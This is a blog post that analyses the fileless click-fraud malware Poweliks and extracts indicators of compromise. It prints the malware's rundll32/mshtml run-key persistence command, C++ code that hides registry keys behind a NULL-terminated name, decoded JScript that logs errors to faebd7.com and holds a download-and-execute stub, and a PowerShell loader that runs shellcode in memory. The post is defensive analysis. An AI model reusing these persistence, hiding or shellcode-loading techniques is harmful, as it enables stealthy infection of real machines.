Error: INSERT INTO `STATS_uperesia` ( `ID` , `ip` , `useragent` , `hostname` , `country`, `referer`, `time`, `pagename`, `visitorID`) VALUES ('', '18.227.209.214', 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)', 'ec2-18-227-209-214.us-east-2.compute.amazonaws.com' , 'US', 'none', '1732171633', 'poweliks', 'ZAXJncBT3z5eoIXKUI7SwVvA1yucGkloUe8VaofKGwjRUBgAmAjbjeUKxyFFR5LUVDx8BHpm7waS5fLtRbw7oYmSsiJzA0WW0ypEYnYP2k2KYv9dV4BHQZnDsT1zJvjdH')
Error:INSERT command denied to user 'uperesiadsdb'@'10.23.20.106' for table 'STATS_uperesia' A closer look to fileless click fraud malware: poweliks

Posted by Felix Weyne, June 2016.
Author contact: Twitter | LinkedIn
Tags:
malware analysis, poweliks, fileless malware, shellcode, code injection, process hollowing, null registry key, process monitor, click fraud

Currently, it is pouring rain outside, I’ve watched every interesting show on Netflix and I need to find an excuse not to clean my apartment. I consider writing a blog post on a Sunday afternoon a great excuse not to wave the cleaning fairy’s wand. I don’t feel like writing a pure malware reverse engineering blog though, so I decided to give this blog a little twist. I infected a virtual machine with some interesting malware called Poweliks. The goal of this blog is to extract indicators of compromise (IOC’s) out of this Poweliks sample, making use of the infected machine, a memory dump and the sample itself. This approach is a more dynamic malware analysis approach (i.e. analyzing the malware by running it), rather than a full malware reverse-engineering approach (analyzing the static sample). The reason why I find Poweliks interesting enough to blog about, is because Poweliks does not leave any trace on the file system: it hides itself exclusively in the registry and memory (for the trolls out there: yes, I know: technically, the registry is stored on the file system).

Poweliks is known to be used in click fraud: it comes with a default list of keywords that it uses to generate requests for ads. The threat pretends that the victim of the infected PC legitimately searched for these keywords and then contacts an ad network so it knows where to direct the victim. Poweliks sends a request to the URL returned by the ad network and then receives payment for downloading the advertisement, which ultimately puts money in attackers' coffers. The Poweliks sample I have used, can be found here (password = infected).

Poweliks: inception all over again

The Poweliks dropper that I have analyzed writes an encoded javascript to the registry key "HKCU\Software\Microsoft\Windows\Run\(default)". The javascript contains a powershell script which contains embedded shellcode. The goal of the shellcode is to inject a dynamic linked library (DLL) into a legitimate process (DLLhost.exe), using a process hollowing technique. The image below illustrates well how a malicious Poweliks registry key entry leads to a malicious injected DLL. In the next paragraphs, I will discuss these four steps in detail. I will also try to extract relevant IOC’s in every step.


Image 1: Overview Poweliks. Source: adapted image from Symantec.

The registry entries

A classic way for malware to make itself persistent, is to add a registry key entry to the "HKCU\Software\Microsoft\Windows\Run" path. The first thing I did on the infected machine, was to take a look with regedit to that path. When I opened the run key, I saw the following message:


Image 2: Error when opening the registry with regedit.

That’s weird. What kind of sorcery is this? . Apparently, the registry editor has problems opening the run key, so sysinternals’ process monitor (procmon) to the rescue! Let’s look which registry keys were added in the first place. If you filter on registry entries in procmon, you can quickly spot the following:


Image 3: Inspecting registry changes with proces monitor.

Hmm, OK. We see that the following registry key entry is added to the registry:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";
document.write("\74script language=jscript.encode>"+
(new%20ActiveXObject("WScript.Shell")).RegRead("
HKCU\software\microsoft\windows\currentversion\run\")
+"\74/script>")

What does it do, and why can’t I open it with regedit? What it does is pretty straightforward: the key entry uses a sneaky way to interpret HTML code (using a library function trick). The HTML code interprets the default run key entry as an encoded javascript. Note that you can spot this default entry by inspecting the registry with regedit (image two). The fact that the entry starts with “#@~” also clearly indicates that the stored javascript is an encoded VBE script. I’ll look into this script in the next paragraph, but first I want to find out why I get an error message when I open the registry run key.

Procmon tells us that the registry key was added to the registry using the “NtSetValueKey” Windows API. Googling a bit on this API teaches us that this API is deprecated, but known to be used by malware authors. Microsoft sysinternals guru Mark Russinovich has published a long time ago how the native NtSetValueKey API can be used to create object names that are inaccessible from the Win32 API (i.e. the same API that regedit uses). The key thing to achieve this (pun intended) is to include a terminating NULL that is explicitly made part of the key name. There is no way to describe this with the Win32 API, which treats a NULL as the end of the name string and will therefore chop it. Thus, Regedit and Regedt32 won't be able to access this key. I have mirrored Marks proof of concept code here. The following c++ code snippet shows how to use this API:

WCHAR HiddenKeyNameBuffer[] = L"Can't touch me!\0";
WCHAR HiddenValueNameBuffer[]= L"Hidden Value";

UNICODE_STRING KeyName;
HANDLE SysKeyHandle, HiddenKeyHandle;
OBJECT_ATTRIBUTES ObjectAttributes;
ULONG Disposition;

KeyName.Buffer = HiddenKeyNameBuffer;
// length here must include terminating null
KeyName.Length = wcslen(HiddenKeyNameBuffer)*sizeof(WCHAR)
+sizeof(WCHAR);
InitializeObjectAttributes( &ObjectAttributes, &KeyName, 
	OBJ_CASE_INSENSITIVE, SysKeyHandle, NULL );
Status = NtCreateKey ( &HiddenKeyHandle, KEY_ALL_ACCESS, 
		&ObjectAttributes, 0, NULL, REG_OPTION_NON_VOLATILE,
		&Disposition );
if( !NT_SUCCESS( Status )) {
//Antivirus is blocking it?
}

Now that we have inspected the registry, we can also define our first IOC’s:

IOC one: registry run key contains:
'rundll32.exe javascript:"\..\mshtml,RunHTMLApplication"'

IOC two: registry key contains: '#@~' and '#~@'

The javascript

In the previous paragraph I explained why I couldn’t open the rundll32 key entry. In this paragraph I’ll take a look at the default run key entry which contains the embedded javascript. The javascript can easily be decoded with a script called ‘VBE decoder’. A reduced version of the javascript is displayed below. Notice that I have renamed the functions and replaced some lengthy code parts with comments.

//Put WScript.Echo('string') where needed :-)

function log(line) {
	//send failure log to server (in GET request parameter)
	x = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");
	x.open("GET", "http://faebd7.com/log?log=" + line, false);
	x.send();
	return 1;
}

e = 123;
a = new ActiveXObject("WScript.Shell");
while (e != 42) {
try {
	winpath = a.ExpandEnvironmentStrings("%windir%");
	psPath = w + "\\syswow64\\windowsps\\v1.0\\powershell.exe";
	fileObject = new ActiveXObject("Scripting.FileSystemObject");

	function dotNetCheck() {
		//check if .NET V2 framework is installed
		try {
			return a.RegRead("HKLM\\software\\microsoft"
"\\net framework setup\\ndp\\v2.0.50727\\sp");
		} catch (e) {
			return 0;
		}
	}

	function downloadAndExecute(url) {
		//download a file from URL and execute it
		//*truncated*
	}
	
	//check if powershell is present
	//check if .NET V2 is present
	while (!fileObject.FileExists(psPath)) {
		if (dotNetCheck() == 0) {
			downloadAndExecute(""); //empty URL
		}
		downloadAndExecute(""); //empty URL
	}
	
(a.Environment("Process"))("a") = "iex ([Text.Encoding]::ASCII.GetString([Convert]::"+ "FromBase64String('*CODE*')))"; e = a.Run(psPath + " iex $env:a", 0, 1);
} catch (e) { log("scriptexcept_" + e.message); } };

The script is pretty self-explanatory. The script checks if PowerShell and the .NET framework are installed. If this isn’t the case, it calls a download-and-execute function. It’s interesting to see that no URL parameter is provided to the download function. Whut? . I guess that the authors have put this function in their code to support Poweliks running on windows XP machines that do not have PowerShell installed by default (by downloading the relevant windows updates), but decided not to support this function anymore?

If we take a further look at the script, we can see that the script also contains a function to send error logs to a specific domain. Bingo, we have found another IOC .

IOC three: domain: faebd7[.]com

The last part of the script is the most interesting part. I have marked this part with a red triangle in the source code above. This part passes a base64 encoded powershell script to the powershell interpreter. In the next paragraph we’ll take closer look to the powershell script.

The powershellscript

The powershellscript that is passed as a parameter to the powershell interpreter is quite lengthy and can be found here. The most interesting part of the powershellscript is displayed below:

[Byte[]] $p=[Convert]::FromBase64String("*base64_shellcode*"); 
[Uint32[]] $op=0; 
([System.Runtime.InteropServices.Marshal]::GetDelegateFFPointer(
	(ga kernel32.dll VirtualProtect),
	(gd @([Byte[]],[UInt32],[UInt32],[UInt32[]]) ([IntPtr]))
	)
).Invoke($p,15108,0x40,$op); 
([System.Runtime.InteropServices.Marshal]::GetDelegateFFPointer(
	(ga user32.dll CallWindowProcA),
	(gd @([Byte[]],[Byte[]],[UInt32],[UInt32])([IntPtr]))
	)
).Invoke($p,$p,0,0,0);

We can see that the powershellscript calls the windows API VirtualProtect function with the 0x40 flag. I don’t know by hard what the 0x40 flags purpose is, but fortunately MSDN does. MSDN tells us that 0x40 gives Read/Write/Execute permissions to a virtual address memory block (page). Immediately after the VirtualProtect call, we can spot a call to CallWindowProc. This smells like shellcode that is run in memory. For the readers that do not know what shellcode is: shellcode, also sometimes referred to as bytecode, is a set of low-level machine commands, the same as are in an executable file. The goal of shellcode is to provide a machine with (malicious) instructions that need to be executed directly in memory.

I could statically analyze the shellcode, but hey, it’s lazy Sunday ! Instead I have chosen to just run the powershellscript in a Cuckoo Sandbox, and to see what happens. Executing the shellcode containing powershell script shows us that powershell creates a new process (called "DLLhost.exe"). A process tree of the created processes is shown in image one. Cuckoo logs the relevant API calls during the process create. Just before the powershell process terminates, we can spot some interesting API calls:


Image 4: Process hollowing API calls (malwr.com Cuckoo sandbox)

What do those API calls smell like? No idea? Take a guess ? Its process hollowing. If you’re wondering what the hell process hollowing is, let me try to explain it briefly.

Malware authors frequently use two techniques to hide code behind a legitimate process. These techniques, known as 'code injection', are used to perform actions from within the context of another process. By doing so, the malware can force a legitimate process to perform actions on its behalf, such as downloading additional trojans or stealing information from the system. Code injection is a smart way to trick users and process monitoring tools into believing that a legitimate program is running, whereas the actual program that is running is different.

Two frequently used code injection techniques are DLL injection and process hollowing. Even though Poweliks only seem to use process hollowing, it is useful to also briefly look at the DLL injection technique.

DLL injection

DLL injection is a code injection technique which loads code into another running process' address space. There are multiple ways to achieve this, the most straightforward way is by allocating space in a running process, shoving the DLL file into it and then creating a new thread to load the DLL into the running process using the Windows VirtualAllocEx() and CreateRemoteThread() function calls. The image below illustrates this proces.


Image 5: DLL injection. Source: blog.opensecurityresearch.com.

Process hollowing

Process hollowing is a code injection technique where a process is created in a suspended (paused) state and where the process memory is replaced with the code of second, malicious program. After the process' memory has been hollowed and replaced with malicious code, the process is resumed (awoken).

With the help of our Cuckoo sandbox, we saw that process hollowing was used to inject code into the DLLhost process. The easiest way to extract that injected code is to take a memory dump of our infected virtual machine and to analyze it with volatility. I’m going to use a Kali Linux machine to run the volatility commands, but any other Linux distribution will work fine too.


Image 6: Extracting malicious code out of the DLLhost process with volatility.

I start by defining the machine profile of the machine from which I took a memory dump. In my case this was a (virtual) windows 7 machine (64 bit, no service packs installed). Then I request a process list, with the ‘pslist’ command. Volatility gives us a process list, and we see that our DLLhost.exe process has 2380 as processID. Now that we know our processID, we can use the ‘malfind’ command, which tries to find code that was injected into a specific process. When we look at the filetypes of the findings of ‘malfind’, we see that one dump has an executable header. Interesting. We could analyze this dump in depth (which would tell us that the dump is an injected DLL), but because it’s Sunday, we will only try to look for strings in the dump. If we run the strings command against the dump, we see some additional IOC’s.

IOC four: IP address: 178[.]89[.]159[.]34

IOC five: IP address: 178[.]89[.]159[.]35

Five IOC’s are discovered. Two registry entries, one domain name, and two IP’s. Not bad for a blog on a Sunday afternoon . Now this blog has come to an end, it probably is time to… … see what else there is to discover on Netflix!